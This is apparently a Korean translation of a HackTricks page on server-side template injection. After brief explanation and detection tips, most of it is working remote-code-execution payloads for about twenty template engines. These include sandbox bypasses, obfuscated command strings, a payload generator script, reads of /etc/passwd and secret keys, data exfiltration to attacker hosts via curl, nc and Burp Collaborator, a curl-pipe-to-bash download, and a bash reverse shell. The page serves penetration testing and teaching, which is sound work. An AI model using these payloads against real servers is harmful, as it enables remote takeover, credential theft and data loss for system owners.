SSTI (Server Side Template Injection)

Reading time: 28 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기

SSTI (서버 사이드 템플릿 인젝션)란 무엇인가

서버 사이드 템플릿 인젝션은 공격자가 서버에서 실행되는 템플릿에 악성 코드를 주입할 수 있을 때 발생하는 취약점입니다. 이 취약점은 Jinja를 포함한 다양한 기술에서 발견될 수 있습니다.

Jinja는 웹 애플리케이션에서 사용되는 인기 있는 템플릿 엔진입니다. Jinja를 사용한 취약한 코드 스니펫을 보여주는 예를 고려해 봅시다:

python
output = template.render(name=request.args.get('name'))

이 취약한 코드에서 사용자의 요청으로부터 name 매개변수가 render 함수를 사용하여 템플릿에 직접 전달됩니다. 이는 공격자가 name 매개변수에 악성 코드를 주입할 수 있게 하여 서버 측 템플릿 주입으로 이어질 수 있습니다.

예를 들어, 공격자는 다음과 같은 페이로드를 포함한 요청을 만들 수 있습니다:

http://vulnerable-website.com/?name={{bad-stuff-here}}

페이로드 {{bad-stuff-here}}name 매개변수에 주입됩니다. 이 페이로드는 공격자가 무단 코드를 실행하거나 템플릿 엔진을 조작할 수 있게 해주는 Jinja 템플릿 지시어를 포함할 수 있으며, 잠재적으로 서버에 대한 제어를 얻을 수 있습니다.

서버 측 템플릿 주입 취약점을 방지하기 위해 개발자는 사용자 입력이 템플릿에 삽입되기 전에 적절하게 정리되고 검증되도록 해야 합니다. 입력 검증을 구현하고 컨텍스트 인식 이스케이프 기술을 사용하는 것은 이 취약점의 위험을 완화하는 데 도움이 될 수 있습니다.

탐지

서버 측 템플릿 주입(SSTI)을 탐지하기 위해, 처음에는 템플릿 퍼징이 간단한 접근 방식입니다. 이는 특수 문자 시퀀스 (${{<%[%'"}}%\)를 템플릿에 주입하고 서버의 응답에서 일반 데이터와 이 특수 페이로드 간의 차이를 분석하는 것을 포함합니다. 취약점 지표는 다음과 같습니다:

  • 취약점을 드러내는 오류 발생, 잠재적으로 템플릿 엔진을 노출.
  • 반사에서 페이로드가 없거나 일부가 누락되어, 서버가 이를 일반 데이터와 다르게 처리함을 암시.
  • 평문 컨텍스트: 서버가 템플릿 표현식을 평가하는지 확인하여 XSS와 구별 (예: {{7*7}}, ${7*7}).
  • 코드 컨텍스트: 입력 매개변수를 변경하여 취약점을 확인. 예를 들어, http://vulnerable-website.com/?greeting=data.username에서 greeting을 변경하여 서버의 출력이 동적 또는 고정인지 확인, greeting=data.username}}hello가 사용자 이름을 반환하는지 확인.

식별 단계

템플릿 엔진을 식별하기 위해 오류 메시지를 분석하거나 다양한 언어별 페이로드를 수동으로 테스트합니다. 오류를 유발하는 일반적인 페이로드에는 ${7/0}, {{7/0}}, <%= 7/0 %>가 포함됩니다. 수학적 연산에 대한 서버의 응답을 관찰하면 특정 템플릿 엔진을 파악하는 데 도움이 됩니다.

페이로드에 의한 식별

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg

도구

TInjA

효율적인 SSTI + CSTI 스캐너로, 새로운 폴리글롯을 활용합니다.

bash
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

SSTImap

bash
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s

Tplmap

python
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

Template Injection Table

가장 효율적인 템플릿 인젝션 폴리글롯과 44개의 가장 중요한 템플릿 엔진의 예상 응답을 포함하는 인터랙티브 테이블입니다.

Exploits

Generic

wordlist에서는 아래에 언급된 일부 엔진의 환경에서 정의된 변수를 찾을 수 있습니다:

Java

Java - Basic injection

java
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - 시스템의 환경 변수 가져오기

java
${T(java.lang.System).getenv()}

Java - /etc/passwd 가져오기

java
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

당신은 https://try.freemarker.apache.org에서 페이로드를 시도할 수 있습니다.

  • {{7*7}} = {{7*7}}
  • ${7*7} = 49
  • #{7*7} = 49 -- (legacy)
  • ${7*'7'} Nothing
  • ${foobar}
java
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - 샌드박스 우회

⚠️ 2.3.30 이하의 Freemarker 버전에서만 작동합니다.

java
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

추가 정보

Velocity (Java)

java
// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

더 많은 정보

Thymeleaf

Thymeleaf에서 SSTI 취약성을 테스트하는 일반적인 방법은 표현식 ${7*7}이며, 이 템플릿 엔진에도 적용됩니다. 원격 코드 실행 가능성을 위해 다음과 같은 표현식을 사용할 수 있습니다:

  • SpringEL:
java
${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL:
java
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Thymeleaf는 이러한 표현식이 특정 속성 내에 배치되도록 요구합니다. 그러나 _expression inlining_은 다른 템플릿 위치에 대해 지원되며, [[...]] 또는 [(...)]와 같은 구문을 사용합니다. 따라서 간단한 SSTI 테스트 페이로드는 [[${7*7}]]와 같을 수 있습니다.

그러나 이 페이로드가 작동할 가능성은 일반적으로 낮습니다. Thymeleaf의 기본 구성은 동적 템플릿 생성을 지원하지 않으며, 템플릿은 미리 정의되어야 합니다. 개발자는 문자열에서 즉석으로 템플릿을 생성하기 위해 자신의 TemplateResolver를 구현해야 하며, 이는 드뭅니다.

Thymeleaf는 또한 _expression preprocessing_을 제공하며, 이중 밑줄(__...__) 내의 표현식이 전처리됩니다. 이 기능은 Thymeleaf 문서에서 보여준 바와 같이 표현식 구성에 활용될 수 있습니다:

java
#{selection.__${sel.code}__}

Thymeleaf의 취약점 예시

다음 코드 조각을 고려해 보십시오. 이는 악용될 수 있습니다:

xml
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

이것은 템플릿 엔진이 이러한 입력을 잘못 처리할 경우, 다음과 같은 URL에 접근하여 원격 코드 실행으로 이어질 수 있음을 나타냅니다:

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

더 많은 정보

EL - Expression Language

스프링 프레임워크 (자바)

java
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

필터 우회

여러 변수 표현식을 사용할 수 있습니다. ${...}가 작동하지 않으면 #{...}, *{...}, @{...} 또는 ~{...}를 시도해 보세요.

  • /etc/passwd 읽기
java
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • 페이로드 생성을 위한 사용자 정의 스크립트
python
#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

추가 정보

Spring View Manipulation (Java)

java
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

EL - Expression Language

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

구버전 Pebble ( < version 3.0.9):

java
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

새로운 버전의 Pebble:

java
{% raw %}
{% set cmd = 'id' %}
{% endraw %}






{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

java
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava는 Hubspot에서 개발한 오픈 소스 프로젝트로, https://github.com/HubSpot/jinjava/에서 사용할 수 있습니다.

Jinjava - 명령 실행

https://github.com/HubSpot/jinjava/pull/230에서 수정되었습니다.

java
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

더 많은 정보

Hubspot - HuBL (Java)

  • {% %} 문장 구분자
  • {{ }} 표현 구분자
  • {# #} 주석 구분자
  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
  • {{'a'.toUpperCase()}} - "A"
  • {{'a'.concat('b')}} - "ab"
  • {{'a'.getClass()}} - java.lang.String
  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

"com.hubspot.content.hubl.context.TemplateContextRequest"를 검색하고 Jinjava 프로젝트를 Github에서 발견했습니다.

java
{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

더 많은 정보

Expression Language - EL (Java)

  • ${"aaaa"} - "aaaa"
  • ${99999+1} - 100000.
  • #{7*7} - 49
  • ${{7*7}} - 49
  • ${{request}}, ${{session}}, {{faceContext}}

Expression Language (EL)은 JavaEE에서 프레젠테이션 레이어(웹 페이지와 같은)와 애플리케이션 로직(관리되는 빈과 같은) 간의 상호작용을 촉진하는 기본 기능입니다. 이 통신을 간소화하기 위해 여러 JavaEE 기술에서 광범위하게 사용됩니다. EL을 활용하는 주요 JavaEE 기술은 다음과 같습니다:

  • JavaServer Faces (JSF): JSF 페이지의 구성 요소를 해당 백엔드 데이터 및 작업에 바인딩하기 위해 EL을 사용합니다.
  • JavaServer Pages (JSP): JSP 페이지 내에서 데이터에 접근하고 조작하기 위해 JSP에서 EL을 사용하여 페이지 요소를 애플리케이션 데이터에 연결하는 것을 쉽게 만듭니다.
  • Contexts and Dependency Injection for Java EE (CDI): EL은 CDI와 통합되어 웹 레이어와 관리되는 빈 간의 원활한 상호작용을 허용하여 보다 일관된 애플리케이션 구조를 보장합니다.

EL 인터프리터의 악용에 대해 더 알아보려면 다음 페이지를 확인하세요:

EL - Expression Language

Groovy (Java)

다음 보안 관리자 우회는 이 writeup에서 가져왔습니다.

java
//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

Other Java

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg

Smarty (PHP)

php
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

추가 정보

Twig (PHP)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{7*'7'}} = 49
  • {{1/0}} = Error
  • {{foobar}} Nothing
python
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - 템플릿 형식

php
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

추가 정보

Plates (PHP)

Plates는 PHP에 고유한 템플릿 엔진으로, Twig에서 영감을 받았습니다. 그러나 새로운 구문을 도입하는 Twig와 달리, Plates는 템플릿에서 네이티브 PHP 코드를 활용하여 PHP 개발자에게 직관적입니다.

Controller:

php
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

페이지 템플릿:

php
<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

레이아웃 템플릿:

html
<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

더 많은 정보

PHPlib 및 HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB는 PHPlib와 동일하지만 Pear로 포팅되었습니다.

authors.tpl

html
<html>
<head>
<title>{PAGE_TITLE}</title>
</head>
<body>
<table>
<caption>
Authors
</caption>
<thead>
<tr>
<th>Name</th>
<th>Email</th>
</tr>
</thead>
<tfoot>
<tr>
<td colspan="2">{NUM_AUTHORS}</td>
</tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr>
<td>{AUTHOR_NAME}</td>
<td>{AUTHOR_EMAIL}</td>
</tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

authors.php

php
<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

더 많은 정보

기타 PHP

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg

Jade (NodeJS)

javascript
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
javascript
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

더 많은 정보

patTemplate (PHP)

patTemplate 비컴파일 PHP 템플릿 엔진으로, XML 태그를 사용하여 문서를 여러 부분으로 나눕니다.

xml
<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

더 많은 정보

Handlebars (NodeJS)

경로 탐색(Path Traversal) (자세한 정보 여기에서 확인하세요).

bash
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = 오류
  • ${7*7} = ${7*7}
  • 없음
java
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

추가 정보

JsRender (NodeJS)

템플릿설명
출력 평가 및 렌더링
HTML 인코딩된 출력 평가 및 렌더링
주석
코드 허용 (기본적으로 비활성화됨)
  • = 49

클라이언트 측

python
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

서버 측

bash
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

추가 정보

PugJs (NodeJS)

  • #{7*7} = 49
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

예시 서버 사이드 렌더

javascript
var pugjs = require("pug")
home = pugjs.render(injected_page)

더 많은 정보

NUNJUCKS (NodeJS)

  • {{7*7}} = 49
  • {{foo}} = 출력 없음
  • #{7*7} = #{7*7}
  • {{console.log(1)}} = 오류
javascript
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')"
)()
}
}
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')"
)()
}
}

더 많은 정보

기타 NodeJS

https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg

ERB (루비)

  • {{7*7}} = {{7*7}}
  • ${7*7} = ${7*7}
  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
python
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

더 많은 정보

Slim (Ruby)

  • { 7 * 7 }
{ %x|env| }

더 많은 정보

다른 Ruby

https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg

Python

샌드박스 우회에 대한 트릭을 배우려면 다음 페이지를 확인하세요:

Bypass Python sandboxes

Tornado (Python)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{foobar}} = Error
  • {{7*'7'}} = 7777777
python
{% raw %}
{% import foobar %} = Error
{% import os %}

{% import os %}
{% endraw %}







{{os.system('whoami')}}
{{os.system('whoami')}}

더 많은 정보

Jinja2 (Python)

공식 웹사이트

Jinja2는 Python을 위한 완전한 기능의 템플릿 엔진입니다. 완전한 유니코드 지원, 선택적 통합 샌드박스 실행 환경을 갖추고 있으며, 널리 사용되고 BSD 라이센스를 가지고 있습니다.

  • {{7*7}} = Error
  • ${7*7} = ${7*7}
  • {{foobar}} Nothing
  • {{4*4}}[[5*5]]
  • {{7*'7'}} = 7777777
  • {{config}}
  • {{config.items()}}
  • {{settings.SECRET_KEY}}
  • {{settings}}
  • <div data-gb-custom-block data-tag="debug"></div>
python
{% raw %}
{% debug %}
{% endraw %}







{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - 템플릿 형식

python
{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}


RCE는 __builtins__에 의존하지 않습니다:

python
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Jinja를 악용하는 방법에 대한 자세한 내용:

Jinja2 SSTI

다른 페이로드는 https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2에서 확인할 수 있습니다.

Mako (Python)

python
<%
import os
x=os.popen('id').read()
%>
${x}

더 많은 정보

다른 Python

https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg

Razor (.Net)

  • @(2+2) <= Success
  • @() <= Success
  • @("{{code}}") <= Success
  • @ <=Success
  • @{} <= ERROR!
  • @{ <= ERRROR!
  • @(1+2)
  • @( //C#Code )
  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
